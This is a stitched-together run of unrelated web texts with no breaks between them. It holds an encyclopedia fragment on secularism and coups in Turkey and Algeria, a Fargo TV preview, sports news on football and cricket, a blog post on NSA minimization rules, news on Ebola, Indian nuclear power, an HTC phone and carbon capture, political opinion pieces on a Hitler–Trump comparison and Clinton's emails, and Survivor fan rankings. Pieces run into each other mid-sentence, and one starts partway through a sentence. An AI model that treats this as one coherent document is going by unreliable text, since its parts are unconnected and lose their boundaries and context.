Secularism is also associated with military regimes, such as those in Turkey and Algeria. The Islamic Salvation Front (FIS) succeeded in December 1991 elections in Algeria[101] and the Welfare Party succeeded in the Turkish 1995 elections.[102] However, both of these parties were eliminated through military coups in order to protect secularism.[103] While Welfare Party government in Turkey was forced to resign from the office by Turkish military in February 1997 with a military intervention which is called as "post modern coup",[104] FIS in Algeria lived an austere military coup which carried the country in to a civil war in 1992.[103] Military forces in those countries could use their power in undemocratic ways in order to ‘protect secularism’.
In some countries, the fear of Islamist takeover via democratic processes has led to authoritarian measures against Islamist political parties.[105] "The Syrian regime was able to capitalize on the fear of Islamist coming to power to justify the massive clampdown on the Syrian Muslim Brotherhood."[106] When American diplomats asked Hosni Mubarak to give more rights to the press and stop arresting the intellectuals, Mubarak rejected it and said, "If I do what you ask, the fundamentalists will take over the government in Egypt. Do you want that?" Or when President Bill Clinton asked Yasser Arafat to establish democracy in Palestine in 2001, Yasser Arafat also replied similarly. "He said that in a democratic system Islamist Hamas will surely take control of the government in Palestine".[98] Most secularist autocrats in the Middle East drew upon the risk of Islamism in order to justify their autocratic rule of government in the international arena.
See also [ edit ]
Islamism:
References [ edit ]If you're a fan of the Coen brothers' Oscar-winning 1996 film "Fargo," you may think you know what to expect from the new FX miniseries, "Fargo" (debuting April 15). But having seen the pilot, we can tell you it's a bit different than what you might be picturing. And we've got an exclusive first look at exactly how different it is.
Above, we have a special sneak peek of the first seven minutes of the "Fargo" pilot, which introduces us to a new set of characters but is very much in the spirit (and climate) of the Coens' classic.
[Video: 'Fargo' Trailer: Blood, Guns, and Minnesota Accents (But No Wood-Chipper)]
The clip opens with mysterious hitman Lorne Malvo (Billy Bob Thornton) driving along a lonely snow-covered road… and ignoring a persistent knocking coming from his trunk. And when he swerves off the road after hitting a deer, we learn exactly what he's hiding in that trunk...
Then we meet Lester Nygaard (Martin Freeman), a downtrodden life-insurance salesman who's a dead ringer for William H. Macy's Jerry Lundegaard from the original "Fargo"; he's reminded by his unhappy wife how he doesn't measure up to his more accomplished brother: "Guess I married the wrong Nygaard." (But it's Minnesota, ya know, so she's awful nice about it.)
[Related: Is FX's New 'Fargo' Worth Investigating? You Betcha!]
Plus, in a scene reminiscent of "Fargo's" classic "TruCoat" moment, we see Lester trying to sell a young husband and his pregnant wife on a life-insurance policy they don't need, and failing miserably. They walk out on his sales pitch — politely, of course. Could life get any worse for this schlub? We assure you, it could. And it will.
What do you think of the first seven minutes? Are you ready to take another trip north to "Fargo"?
"Fargo" premieres Tuesday, April 15 at 10 p.m. on FX.Birthday boy Elliott Hewitt signs for Ipswich Town
Elliott Hewitt, Town's first signing of the summer Archant
IPSWICH have completed their first signing of the summer after Welsh Under-21 international Elliott Hewitt agreed a three-year deal.
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The right-back, 18 today, signed from Macclesfield for an undisclosed six-figure fee following the Silkmen’s relegation from the Football League.
Hewitt, who can also play in midfield, was released by Stoke City’s academy, progressing through Macclesfield’s youth ranks before becoming the youngest ever player to make their league debut for the club, aged at just 16 years and 342 days.
He went on to make 22 appearances last season, attracting the attention of a number of clubs, but a hip injury curtailed his involvement at the end of the campaign.
Hewitt has already been capped five times by his country at Under-21s level.There’s a striking passage in one of the documents released in yesterday’s document dump.
Would NSA object to a legislative codification of E.O. 12333 minimization? Yes because it can be difficult to change a statute if the procedures need to be changed in order to meet operational needs.
The passage refers to minimization, the process by which intelligence agencies protect the privacy of Americans whose communications are collected incidentally to their wiretapping activities. I find the passage striking, first of all, because it (indeed, the whole document) emphasizes the basis for minimization requirements in EO 12333, and not FISA. In response to a question about where minimization comes from, the document points to the EO.
Where does the need for minimization procedures come from? The most direct answer is Executive Order 12333. Section 2.3 of that Order specifies that agencies in the Intelligence Community are authorized to collect, retain, or disseminate information concerning U.S. persons only in accordance with procedures established by the head of the agency concerned and approved by the Attorney General.
This basically repeats that passage of EO 12333, which says,
Agencies within the Intelligence Community are authorized to collect, retain or disseminate information concerning United States persons only in accordance with procedures established by the head of the agency concerned and approved by the Attorney General, consistent with the authorities provided by Part 1 of this Order.
And then goes on to describe the kind of information that can be collected.
But why refer to an Executive Order, when FISA imposes a statutory requirement on minimization? And FISA’s minimization requirements provide more detail about what can and cannot happen with US person data.
(h) “Minimization procedures”, with respect to electronic surveillance, means— (1) specific procedures, which shall be adopted by the Attorney General, that are reasonably designed in light of the purpose and technique of the particular surveillance, to minimize the acquisition and retention, and prohibit the dissemination, of nonpublicly available information concerning unconsenting United States persons consistent with the need of the United States to obtain, produce, and disseminate foreign intelligence information; (2) procedures that require that nonpublicly available information, which is not foreign intelligence information, as defined in subsection (e)(1) of this section, shall not be disseminated in a manner that identifies any United States person, without such person’s consent, unless such person’s identity is necessary to understand foreign intelligence information or assess its importance; (3) notwithstanding paragraphs (1) and (2), procedures that allow for the retention and dissemination of information that is evidence of a crime which has been, is being, or is about to be committed and that is to be retained or disseminated for law enforcement purposes; |
," which seems to be an experiment at keeping urbanites trembling at night over every bump and creak. The sinuous, shape-shifting (and anatomically correct) umbra-creatures bend in impossible positions, slither into darkened rooms and peer out from demonic eye-slits. They fit right in with Baglione's other Stygian endeavors, like a recent show in Mexico City called "Obituary" that saw him painting with his own blood.
For the intervention in Parma, a cured meat-loving city in the northern part of the country, the artist invaded an unspecified mental ward and used what was left behind as anchors for his beasties. Some seem to flow out of an empty wheelchair rusting in a dim hallway; others waft like vapor from a dank splotch of mildew. The resulting chamber of lost souls packs enough of a punch that some of Baglione's followers are fretting on Facebook. Writes one woman: "I really like your works Herbert, but I found it really sad and not nice – [it] lacks sensitivity – sorry."Indian all-rounder Ravindra Jadeja has been let off with just a 50 per cent match-fee fine after referee David Boon found the player not guilty of the original level 2 offence, which involved his on-field incident with England pacer James Anderson.
The incident occurred during the lunch break of the second day's play at Nottingham during which, Indians claim that Anderson had allegedly "abused" and "pushed" Jadeja as the players were making their way into the dressing rooms.
The England team management, which had initially described it as a "minor" incident, later filed a countercharge against Jadeja.
Boon held a hearing in Southampton on Thursday evening, which was attended by both the players, their legal counsels, witnesses as well as BCCI's MV Sridhar, Phil Neale and Paul Downton of the ECB, and the ICC's Ethics & Regulatory Lawyer.
In the meeting that lasted for over two hours, former Australia batsman Boon said that the charges on Jadeja only found him guilty to 'conduct contrary to the spirit of the game'.
Commenting on his decision, Mr Boon said: "Under Article 6.1 of the Code, I had to be comfortably satisfied that the offence had occurred in order to find Jadeja guilty of an offence under Article 2.2.11.
"While I was in no doubt that confrontation did occur, and that such conduct was not in the spirit of the game and should not have taken place, I was not comfortably satisfied that this was a level 2 offence. Therefore, in exercising my discretion under Article 7.6.5 of the Code and having heard all the evidence, I was comfortably satisfied that Jadeja had committed a level 1 offence under Article 2.1.8 of the Code."
The hearing for Anderson, who has been charged with a level 3 offence, has been fixed on August 1.
The ICC-appointed Judicial Commissioner Gordon Lewis will be required to announce his decision within 48 hours after the detailed hearing August 1.
Though decks have been cleared for Anderson's participation at Rose Bowl but he might miss the fourth and fifth match starting August 7 if the investigation finds him guilty of pushing and abusing Jadeja as alleged by the Indians.
Charged with a level 3 offence, Anderson faces a ban of upto two Tests and eight ODIs if found guilty.
All Level 3 breaches carry a penalty of between four and eight Suspension Points while Level 2 offences carry a fine of between 50-100 per cent of applicable Match Fee and/or up to two Suspension Points.
Two suspension points equates to a ban of one Test, or two ODIs, depending on which type of match is scheduled next for the suspended player.
The visitors lead the five-match series 1-0 with Hampshire playing host to the third match from Sunday.The city of Dallas has released a recording of a 911 call Monday regarding the Liberian man who later died of Ebola in Dallas.The call, which was made Sept. 28, lasts for 1 minute and 17 seconds. It's difficult to decipher what exactly the caller -- identified previously as Thomas Eric Duncan's girlfriend's 35-year-old daughter Youngor Jallah -- is saying, but the dispatcher asked about the nature of the person's condition and the location of the apartment.Jallah told The Washington Post that she told the operator Duncan was going to the bathroom frequently.She did not say the word "Ebola."City spokeswoman Sana Syed said she is not aware of a transcript. She said her "understanding is that all 911 protocols were followed" in the call. Top Dallas Fire-Rescue aide Lt. Joel Lavender said the call was "handled well" by the dispatcher. The Centers for Disease Control and Prevention recommended additional question s for dispatchers following Duncan's hospitalization at Texas Health Presbyterian of Dallas. The questions include whether the patient has traveled recently to West Africa. EMS agencies hope the additional questions will allow their paramedics to better prepare and protect themselves against the spread of the virus.Listen to the call below.NEW DELHI, July 18 (UPI) -- India is moving forward with nuclear power generation despite worldwide concerns about the safety of civilian nuclear power electricity generation after the March disaster in Japan's Fukushima complex.
India has begun constructing its 25th nuclear power plant, the Rajasthan Atomic Power Station, the Press Trust of India reported Monday.
Ground has been broken for the 700 MW indigenous pressurized heavy water reactor 40 miles from Kota in the northwestern part of India. RAPS operates six PHWRs at the facility, five of which are producing more than 1,180 MW, India's largest nuclear power electrical generation from a single facility.
The new complex will be RAPS' seventh nuclear power plant built at the Rajasthan site.
The RAPS inauguration ceremony was attended by India's Atomic Energy Commission Chairman Srikumar Banerjee and Nuclear Power Corp. of India Limited Chairman and Managing Director Shreyans Kumar Jain.
The 700-megawatt PHWR was designed by NPCIL by scaling up the design of its 540-megawatt PHWRs operating at Tarapur since 2005.
The new RAPS facility is expected to be completed by 2016.
RELATED Demand pushes LNG prices sharply
"The 540-megawatt PHWR at Tarapur was built by NPCIL in a record time of 4 years and 10 months," Banerjee said. "We will try to beat that record."
RAPS operates six PHWR units, the first of which are producing more than 1,180 megawatts, India's largest nuclear production of electricity from a single NPP complex.
Besides working to bring its new facility online, RAPS has begun initial excavation work for an eighth 700 megawatt PHWR onsite.
India's civilian nuclear program is contentious because the country has never signed the Nuclear Non Proliferation Treaty, which guarantees signatories the option to approach providers of nuclear technology worldwide for assistance in constructing NPPs.
As India isn't a signatory of the NPT, development of its civilian industry to construct NPPS was hampered until 2008, when the Nuclear Suppliers Group, the oversight organization that controls global nuclear commerce, granted India a waiver on for the transference of sensitive potential dual use" nuclear technologies, whose end byproducts might be used to fuel covert military nuclear programs.
The RAPS construction highlights India's determination to embrace nuclear power generation as a cost-effective solution despite the chilling worldwide effect of the March nuclear debacle at Japan's Fukushima nuclear complex.
"We were to launch this a few months ago but the regulator has taken time to see that post-Fukushima all the possible safety measures are satisfactory," NPCIL Finance Director J.K. Ghai said.Michiko Kakutani, the New York Times’s chief book critic, has a very interesting review out this week of volume one of Volker Ullrich’s new two-part biography of Adolf Hitler.
After a few hundred words of throat-clearing introduction, she rather abruptly shifts format away from a traditional book review toward simply a bullet-pointed summary of a few key themes and plot points from Ullrich’s narrative. And while she does not explicitly say so, it is impossible to avoid reading it as a deliberate, thinly veiled commentary on Donald Trump. As a pure exercise in writing and analogy-mongering, it's fun and surprisingly effective, but the comparison does not really withstand much scrutiny.
Kakutani draws out descriptive tidbits about Hitler that are reminiscent of Trump, while leaving out everything about Hitler that is not reminiscent of Trump. We hear nothing, for example, of Hitler’s experience fighting in World War I or of his years of toiling in political obscurity. Instead, it’s stuff like this:
Hitler was often described as an egomaniac who “only loved himself” — a narcissist with a taste for self-dramatization and what Mr. Ullrich calls a “characteristic fondness for superlatives.” His manic speeches and penchant for taking all-or-nothing risks raised questions about his capacity for self-control, even his sanity. But Mr. Ullrich underscores Hitler’s shrewdness as a politician — with a “keen eye for the strengths and weaknesses of other people” and an ability to “instantaneously analyze and exploit situations.” Hitler was known, among colleagues, for a “bottomless mendacity” that would later be magnified by a slick propaganda machine that used the latest technology (radio, gramophone records, film) to spread his message. A former finance minister wrote that Hitler “was so thoroughly untruthful that he could no longer recognize the difference between lies and truth” and editors of one edition of “Mein Kampf” described it as a “swamp of lies, distortions, innuendoes, half-truths and real facts.”
A little while later, she draws an explicit parallel to Trump’s campaign themes:
Hitler increasingly presented himself in messianic terms, promising “to lead Germany to a new era of national greatness,” though he was typically vague about his actual plans. He often harked back to a golden age for the country, Mr. Ullrich says, the better “to paint the present day in hues that were all the darker. Everywhere you looked now, there was only decline and decay.”
And she takes a shot at Republican congressional leaders:
Hitler’s ascension was aided and abetted by the naïveté of domestic adversaries who failed to appreciate his ruthlessness and tenacity, and by foreign statesmen who believed they could control his aggression. Early on, revulsion at Hitler’s style and appearance, Mr. Ullrich writes, led some critics to underestimate the man and his popularity, while others dismissed him as a celebrity, a repellent but fascinating “evening’s entertainment.” Politicians, for their part, suffered from the delusion that the dominance of traditional conservatives in the cabinet would neutralize the threat of Nazi abuse of power and “fence Hitler in.” “As far as Hitler’s long-term wishes were concerned,” Mr. Ullrich observes, “his conservative coalition partners believed either that he was not serious or that they could exert a moderating influence on him. In any case, they were severely mistaken.”
And I’ll leave you with this thought:
Hitler’s rise was not inevitable, in Mr. Ullrich’s opinion. There were numerous points at which his ascent might have been derailed, he contends; even as late as January 1933, “it would have been eminently possible to prevent his nomination as Reich chancellor.” He benefited from a “constellation of crises that he was able to exploit cleverly and unscrupulously” — in addition to economic woes and unemployment, there was an “erosion of the political center” and a growing resentment of the elites. The unwillingness of Germany’s political parties to compromise had contributed to a perception of government dysfunction, Mr. Ullrich suggests, and the belief of Hitler supporters that the country needed “a man of iron” who could shake things up. “Why not give the National Socialists a chance?” a prominent banker said of the Nazis. “They seem pretty gutsy to me.”
What this comparison gets right
The important takeaway from Kakutani’s review (I would recommend Henry Ashby Turner’s excellent 1997 book Hitler’s 30 Days to Power as an explication of this view) is that our modern image of Hitler doesn’t reflect how Hitler was seen in the early 1930s.
We know that Hitler set himself up as a tyrant, launched a cataclysmic war, and waged a campaign of genocidal slaughter. But before he was in power, Hitler didn’t look like Hitler — he looked like Donald Trump.
In fact, Hitler was seen as a clownish figure who was disliked by the country’s conservative establishment and who was never able to crack 40 percent of the vote. But even though most Germans rejected him, he was a skilled orator and effective populist demagogue who turned out to have a larger mass following than his country’s conservative establishment.
So once Hitler stole their base out from under them, leading establishment conservative politicians decided that they would rather try to ride Hitler’s coattails into office than make common cause with left-of-center parties whose policy commitments they despised.
The way they saw it, Hitler’s lack of seriousness made him a better option. To work with the Social Democrats would require meaningful compromises on serious public policy issues. Hitler was more interested in self-aggrandizement than policy — he could be the showman leader and stage his rallies; they would write the legislation.
This strategy worked, and when Hitler took power as chancellor the vast majority of cabinet posts were in the hands of establishment conservatives.
This really is broadly similar to the attitude Paul Ryan and Mitch McConnell and other leading Republican Party elected officials have taken toward Trump. They don’t particularly like him, they didn’t want him to be the nominee, and they certainly don’t respect his thinking on public policy. But they see his vacuousness as potentially advantageous: Unlike Hillary Clinton, he’ll sign their bills.
What the comparison gets wrong
The problem here is that just because Hitler was a clownish demagogue, it doesn’t follow that every clownish demagogue is the next Hitler.
When you think about it, the whole reason Hitler comparisons stand out is that Hitler is such an extreme historical outlier. Most clownish demagogues don’t become brutal tyrants. Most brutal tyrants don’t start massive world wars.
The most recent — as opposed to most famous — time a clownish demagogue used electoral politics to seize power in the face of a discredited political establishment and an ineffective and divided opposition was Silvio Berlusconi’s various stints as prime minister of Italy. And the Berlusconi-Trump comparison really seems much closer in a wide variety of ways, ranging from their media savvy and business backgrounds to the oddity of men with famously louche personal lives leading political coalitions grounded in church attendance and cultural traditionalism.
And I think it’s fair to say that Berlusconi was a really bad prime minister. He was corrupt, he damaged the integrity of Italian political institutions, his close relationship with Vladimir Putin undermined the Western alliance, he created a deeply hostile atmosphere for immigrants and people of color in Italy, and Italy’s economic performance was dismal.
It’s a bad enough outcome and a very sensible comparison. But if you say, “I’m worried Trump will be the next Silvio Berlusconi,” that doesn’t mean anything to most people. So the temptation to reach for Hitler comparisons is out there, even though there’s no particular reason to believe in them.New Delhi: Shaban Bukhari, the son of Jama Masjid Shahi Imam Syed Ahmed Bukhari, was Saturday formally anointed the Naib Imam (deputy Imam) of the 17th century mosque at a ceremony here.
"I announce Shaban Bukhari as the Naib Imam of Jama Masjid. I hope that he will live up to the expectations," Syed Ahmed Bukhari said during the ceremony.
The 19-year-old Shaban, who is pursuing his bachelor's degree in social work at Amity University, is now in line to become the Shahi Imam of the country's largest mosque.
The ceremony was hit by controversy after the central government and the Wakf Board told the Delhi High Court that the anointment was "illegal" and had no legal sanctity.
The high court, however, refused to stay the ceremony.
The Bukharis, originally from central Asia, have been the traditional custodians of the Jama Masjid since it was built during the Mughal era in the 17th century.HTC has announced two new smartphones during the company's press conference in Japan, the One M9+ Aurora Edition and Butterfly 3. Well, the former one is new, the latter one is actually only a rebranded device for the international market. Both of these phones are considered to be high-end, the One M9+ Aurora Edition is very similar to the original One M9+, and we've already talked about it in a separate article. We're here to talk more about the Butterfly 3, read on.
The HTC Butterfly 3 was officially announced in Japan back in May this year. The company has decided to wait for quite some time before they push it to other markets it seems, HTC has announced during their event that the 'J Butterfly' device will be known as the 'Butterfly 3' internationally, and that it is rolling out to Taiwan starting form October 25th. The device will be priced at NT$19,900 ($600), and unfortunately HTC did not mention any other markets at the press conference, but it is possible that we'll see this smartphone elsewhere as well.
As for its specs, the HTC Butterfly 3 features a 5.2-inch QHD (2560 x 1440) IPS LCD3 display along with 3GB of RAM and 32GB of expandable internal storage. The device is powered by Qualcomm's Snapdragon 810 64-bit octa-core processor and packs in a 2,700mAh battery. There are two cameras available on the back of the Butterfly 3, the 20-megapixel DuoCamera setup, and next to the main camera you'll notice the dual-LED, dual tone flash. Interestingly enough, the device also sports the IPX5 and IPX7 certifications for water and dust resistance, and Qualcomm's Quick Charge 2.0 is also a part of this package. It is also worth mentoining that this phone does support 4G LTE connectivity, and that it will ship with Android Lollipop pre-installed with the company's Sense UI installed on top of Google's operating system.
There you have it, HTC J Butterfly has been re-named for international markets and will be known as the Butterfly 3. The specifications basically remain unchanged, and if any additional availability information surface, we'll make sure to let you know. Until then, check out the design of this device in the gallery down below.Carbon capture is a key component in U.S. energy strategy—but after the greenhouse gas has been captured, scientists are still working out what to do with it! One laboratory at the National Energy Technology Laboratory (NETL) has focused on using the captured carbon as a potential supply of industrially valuable chemicals and fuels.
The process the researchers are refining is known as electrochemical conversion—the application of electrical energy to one material to transform it into another. In the NETL lab, a very special form of gold—Au25—is being used to break the molecular bonds of CO2 and water and convert them into carbon monoxide and hydrogen.
Au25 is a nanoparticle with only 25 gold atoms. Nanoparticles are only slightly larger than individual atoms, measuring under 100 nanometers. The particles are so small, most microscopes can’t even see them! The structure of a nanoparticle can determine how stable—or unlikely to break down into smaller units—a particle is. Twenty-five gold atoms, it turns out, makes for a very stable particle. But more than that, the particle is particularly efficient at catalyzing CO2 conversion.
Chemical reactions are not always efficient; electrons can get lost in the process. Imagine a simple conversion we do every day—transforming money into groceries or gas. Now what if, during that process, your change started to go missing, lost between couch cushions or shortchanged at the till? Like pennies, electrons can disappear, and you won’t always get everything out of a system that you put into it. But AU25 doesn’t lose electrons.
The conversion process at NETL is unique in another way. A common challenge facing electrochemical conversion systems is the difficulty in choosing an energy source to power the reaction. Creating electricity requires energy, and if that energy comes from fossil fuel technology then the conversion process may actually create more carbon than it transforms. Researchers at NETL developed a way to bypass that hurdle by relying on solar cells to power the conversion. Consequentially, the system is actually carbon-negative—transforming CO2 without creating more!
The conversion technology is still being refined, and it may be many years until the research makes the jump from laboratory bench to commercial market, but for now—the future looks golden!The IG report on Hillary's Email should give many Dems pause.
Many people on the left are going to tell you the State Department’s Inspector General report that found Hillary Clinton subverted Federal records laws is no big deal and couldn’t possibly cost her the election. I am not one of those people.
First of all — it is a big deal. While the report said that Hillary shouldn’t be singled-out among past Secretaries of State, she still broke major laws, and those laws pertain to official government documents. I’m a big transparency guy, but something tells me we really don’t want our public officials, any public officials, not using official government channels for their communications. Isn’t that just kind of um, I don’t know, logical?
It protects our leaders and us, and helps make things like Freedom of Information Act requests worth submitting, instead of at any given time our officials just claiming they can’t find the emails in their Gmail inboxes.
Whether or not she was hiding anything truly criminal isn’t really the point. The point is that we are supposed to be able to trust our government’s high-ranking officials aren’t effectively hiding their official communications from us, full-stop. I’m not arguing we have a right to see classified information, I’m saying that the reason we want everything stored on the government’s servers is pretty easily understood — accountability.
When you’re already a politician that has a reputation for thinking you’re above the law, this report does not bode well for dispelling that image. In fact, it stokes that fire rather easily, because it proves that while this is systemic and was done in multiple administrations, she still willfully chose to break the law. Die-hard Hillary folks will dismiss this report, too, but this isn’t some wild-eyed Benghazi conspiracy theory. This is an honest-to-God Inspector General’s report that very clearly takes her to task for her flouting of the rules.
So the question becomes do people outside of the die-hards roll over on this?
Some most definitely will. There will certainly be people casting their primary ballots in California for Hillary not knowing about the IG’s report. There will similarly be people in November who are ignorant of this story. But the burning question there is how many are ignorant, and how many are well-informed. You can count on the overwhelming majority of Republicans knowing about it, but what about independents? You know, the people who Clinton and the DNC have tried very hard to keep from showing a welcoming spirit too?
Being a clown-faced shitstick, I’m not a political pundit, nor an expert. However, my job as a satirist is to observe and to do so from as a high perch as possible to see all angles of something. Right now, I see a country that is bitter and angry at the establishment, whether Republican or Democrat, and finding out that a very powerful member of that group of people pretty much gave the finger to laws meant to stifle even the appearance of corruption is only going to fan the fires of hostility against Hillary. This whole primary her supporters have been downplaying how deeply unpopular she is outside the Democratic bubble, but this story may be the best test of that hypothesis yet.
If in fact most Americans won’t care that she has been caught pretty much red-handed breaking federal laws regarding the handling of information, then this story will fade away. If people do care and are fed-up in general with this kind of behavior from politicians, it might cause problems at the ballot box. There doesn’t have to be an indictment for people to surmise, for example, that she’s someone who doesn’t care about the rules, or any consequences of her actions therefore. That’s a dangerous trait to have in a potential presidential candidate.
I’m not here to tell you Hillary should be indicted for this, though. I’m not a tinfoil hat wearing Sanders supporter; just an intellectually honest one. That being said, it has been well-documented by that super-conservative rag Mother Jones that Hillary used her connections as SecState to broker international contracts for arms dealers that were also contributors to the Clinton Foundation. You combine that fact with this story, and you have yourself a person who is rife for conspiracy theories.
None of them have to actually be true for conservatives to believe them, and while that may not concern you too much, just think of the last eight years, but add into the mix that Obama was dinged by the government for breaking federal laws. That’s what Hillary’s first term will look like, multiplied by a thousand, and Washington will grind to an even slower pace as they investigate everything about her, justifying it by saying, “Welp, she’s already violated federal law once…”
And I know for damn certain if this were a story about the presumptive Republican frontrunner, liberals would be screaming bloody murder like conservatives are doing over Hillary’s breach of the law, and make no mistake, that’s exactly what she did.Welcome to Week 6 of our 2017 Australian Survivor Power Rankings!
Your three Power Rankers for this season are superfans – aka #SurvivorAU megafans, James ‘I’ll get on the show one day’ Rowland, the easily confused Jonathan Sloan, along with first-time watcher Josh Willett.
We’ll look at the contestants tribe by tribe, ranking in terms of who we think is the favourite to win at this point. All three of us are unspoiled so don’t stress about this ruining the outcome for you lovely souls.
This season, three of us will take a weekly look at each player left in the game, ranking them in order from most likely – least likely to win the game as of the end of the weeks’ action.
The scoring system is pretty simple; each ranker receives points correlating to the Survivor’s ranking the week they are voted out. For example, if the next person voted out was Anneliese, James would score 1 point, Jonathan would score 2 and Josh would score 2. At the end of the season, the highest scorer wins.
This segment, and this website in general, is all about feedback, so please comment/tweet about who you agree with, and make this a real discussion between the fan community.
Competition Standings (Up until the end of episode 13) – AK and Ben voted out this week.
1. James – 59 Points ( up 14)
2. Jonathan – 48 Points ( up 10)
3. Josh – 47 Points ( up 14)
SAMATAU
James Rowland @jamrowl Jonathan Sloan @jonathanlsloan Josh Willett @jaywill_72 1 Anneliese Wilson Henry Nicholson Nicola ‘Ziggy’ Zagame 2 Tessa O’Halloran Anneliese Wilson Anneliese Wilson 3 Jarrad Seng Nicola ‘Ziggy’ Zagame Henry Nicholson 4 Locky Gilbert Jarrad Seng Jarrad Seng 5 Nicola ‘Ziggy’ Zagame Locky Gilbert Locky Gilbert 6 Henry Nicholson Tessa O’Halloran Tessa O’Halloran 7 Michelle Dougan Michelle Dougan Michelle Dougan
James
It’s very impressive that when Anneliese got switched back on to the tribe that she got “voted” out from she managed to avoid the target. She quickly reconnected with Locky and it seemed without AK around the Locky resistance crumbled. She is in a powerful position, in the majority with an idol, but not a target. Tessa adapted well with the power shift after AK and Peter got switched off their tribe. It could of quite easily been Locky’s new crew turning on Tessa, Jarrad and Ziggy. Tessa proved her social game by avoiding the target and I can’t see her being targeted anytime soon. Jarrad is in an interesting position right now. He desperately wanted to keep Ben around but didn’t hold enough sway in the tribe to make that happen. He is no longer calling the shots but there is still Michelle to go before him and I believe if he makes it to the merge then he will go under the radar while the alpha’s duke it out. Locky did very well in the swap as I predicted. He went from being deadset next to go to being the top dog in Samatau. His bond with Henry paid off with the help of the swap. Ziggy did really well in lying about the advantage and had most of her tribe mates believing her, and then she went and told Henry (who shoots from the hip) and LOCKY (the guy you were targeting three days ago!) she had an idol. Now she has a target on her back and I don’t see Jarrad and Tessa fighting too hard to keep her around come merge. Henry also wanted to keep Ben around but didn’t want to rock the boat too hard to make it happen. Michelle knows of his intelligence and will mount a challenge to vote him out. I don’t think it will happen but he will be in trouble come merge. Michelle fought superbly to vote out Ben. She rattled young Ben and made the right arguments to save herself. The problem is that she does have allies on Asaga and I don’t think Samatau will want her to reconnect with them.
Jonathan
Huge rebound week for my boy Henry. This swap has worked beautifully for you, an you now have a strong alliance filled with challenge beasts, and three idols. I like what I’m seeing. I can definitely see Anneliese becoming Henry’s new Jacqui. This would be a dynamite duo, so I’m really hoping this is what happens. Imagine adding Sarah into this Anneliese/Henry/Locky/Ziggy alliance come the merge. That’s a god-tier group right there. Ziggy, I’ve loved your game in recent weeks, but telling Henry and Locky about your idol was dumb. If not for the super idol, she’d be a lot lower in these rankings after the last episode. I get really strong Kim Spradlin vibes from Jarrad. He’s not an exciting TV character or anything, but he’s just a normal bloke who knows what he’s doing. I think we’ll see a lot more of him without AK in the mix. Personally, I love watching Locky and I reckon he’d be a great bloke to get a beer with, but watching him try to play strategically is comedy gold. The fact that Michelle changed his mind in literally five minutes makes Locky an incredibly volatile ally to have. ………..Has Tessa been on the show in the last few weeks? She could have taken a vacation ever since Tarzan went and just rocked up for challenges and I genuinely wouldn’t have noticed. Michelle. That tribal was brutal. Fantastic, but brutal. As one of the students of Springfield Elementary once said, “stop, stop, he’s already dead.”
Josh
Ziggy has been pretty clever in leveraging her super idol, even forming what I like to call an“idol alliance” with Anneliese, Henry and Locky, leaving 3 idols between the 4 of them. This puts all four of them in a great spot, but Ziggy is still firmly at the top. Anneliese must’ve been nervous to head back to Samatau, but was really smart in the way that she disclosed her idol to Ziggy, and it has turned out seriously well for her. Henry has everything going his way at the moment. He managed to position himself as a key member of Samatau’s new leadership group Jarrad is doing seriously well, and even though his majority alliance has fallen apart he seems ingrained enough within the tribe that he should be able to adapt pretty well to the change. Locky will be absolutely stoked that AK is out of the picture, and he should get through to the merger based on his physical performance and by sticking with the “idol alliance” Tessa is playing a good game but she’s going to need to work hard to stay in the majority as the leadership shifts again at Samatau. Michelle easily saw off Ben, mounting a strong case for her over him, but she is seriously struggling in challenges and I think she’s on the outer and could be the easy vote.
ASAGA
James Rowland @jamrowl Jonathan Sloan @jonathanlsloan Josh Willett @jaywill_72 1 Sarah Tilleke Sarah Tilleke Sarah Tilleke 2 Jericho Malabonga Jericho Malabonga Jericho Malabonga 3 Odette Blacklock Odette Blacklock Luke Toki 4 Luke Toki Luke Toki Odette Blacklock 5 Tara Pitt Tara Pitt Tara Pitt 6 Peter Conte Peter Conte Peter Conte
James
Sarah has been showing she has a knack for the strategic game. She is thinking ahead to find the numbers that will take her to the end. She knows Luke is a threat and will mount a challenge for him when the time is right. Jericho seems loved by his tribe and he shouldn’t be a huge target at the merge. His close bond with Luke could be trouble but I believe he is smart enough to recoup if he loses his cookie monster. Odette is floating along in the game and is not a threat to anyone, therefore she has one of the best chances to go far. Luke is not shy in his approach to calling the shots. Loved the way he strung AK along before voting him off, it shows he does have some finesse and thinks more than he lets off. He is most certainly a threat and will be a target very soon. Tara was just delighted when she voted out her nemesis AK. Fair play to her, she got out the biggest threat on Asaga and didn’t muck about. She is far too open though and really doesn’t have a poker face. She could be in trouble out of sheer annoyance but as I’m writing this I’m thinking she may be a good GOAT to take to the end. Real toss up this week on Tara. Peter got the raw end of the deal in the tribe swap and is making the best of a bad situation. Sarah is his lifeline and hopefully they can make a big move in the coming week however unlikely it may be.
Jonathan
Sarah has really established her as a fierce player this season. What’s most impressive is that everyone seems to want to work with her, as we saw with AK instantly gravitating towards her. Jericho’s been relegated to a background character these last few weeks, which is a shame, but should mean that he’s nowhere near the top of anybody’s hit list. This last week has shown that Odette has been picked up as a number by Sarah, which is probably the best spot for her at the moment. There’s enough obvious targets in front of her that I can’t see anybody wasting a vote on her at the moment. Luke wants to go big game hunting, which is phenomenal television, but is also going to paint an enormous target on his back. For the sake of #teamgoodTV, I really hope he can keep going, because he’s such a blast to watch. Well done Tara. Through your strategic prowess (and a heap of lucky circumstances), you’ve rid yourself of your arch-rival, AK. Now I’d love to see you move on and play the game, but I don’t hold up much hope. I’m ready to bet Tara’s the only person we’re gonna hear talking about AK the rest of this season. Pete’s had a tough week and he’s clearly on the bottom. He either needs a swap, a merge or for Luke to get an itchy trigger finger again.
Josh
Sarah must be rapt with her game at the moment. She has now has contacts in both tribes now that Anneliese is back to Samatau, which is huge for her come the merge as I don’t see her getting booted out before that. Jericho is doing really well as an understudy to Luke, but he has a good relationship with everyone in the tribe, which should serve him perfectly going forward. Luke’s renegade status is gaining him some attention within the tribe, and he could be the target for the next major move, but he has an element of control for the time being, so I think he should be okay. Odette was given a better edit this week, meaning we actually heard her speak, and she gave the impression that she is switched on to everything that’s happening, while still powering through the challenges – proving she’s an important part of the tribe for the time being. I’ve seen AFL players who’ve just won a grand final look less happy with themselves than Tara was after she got rid of AK. Having said that, I’m not certain how she fits in at Asaga with the current alliances, so it will be interesting to see what she manages to do this week. Peter must be spewing that he’s had to move across to Asaga, and if this mythical “Asaga strong” mentality actually exists, it’s definitely looking like he’ll be the next one to go.
What do you think? Are we close at all or way off? Who has the best chance to win our competition?
Thanks for reading!
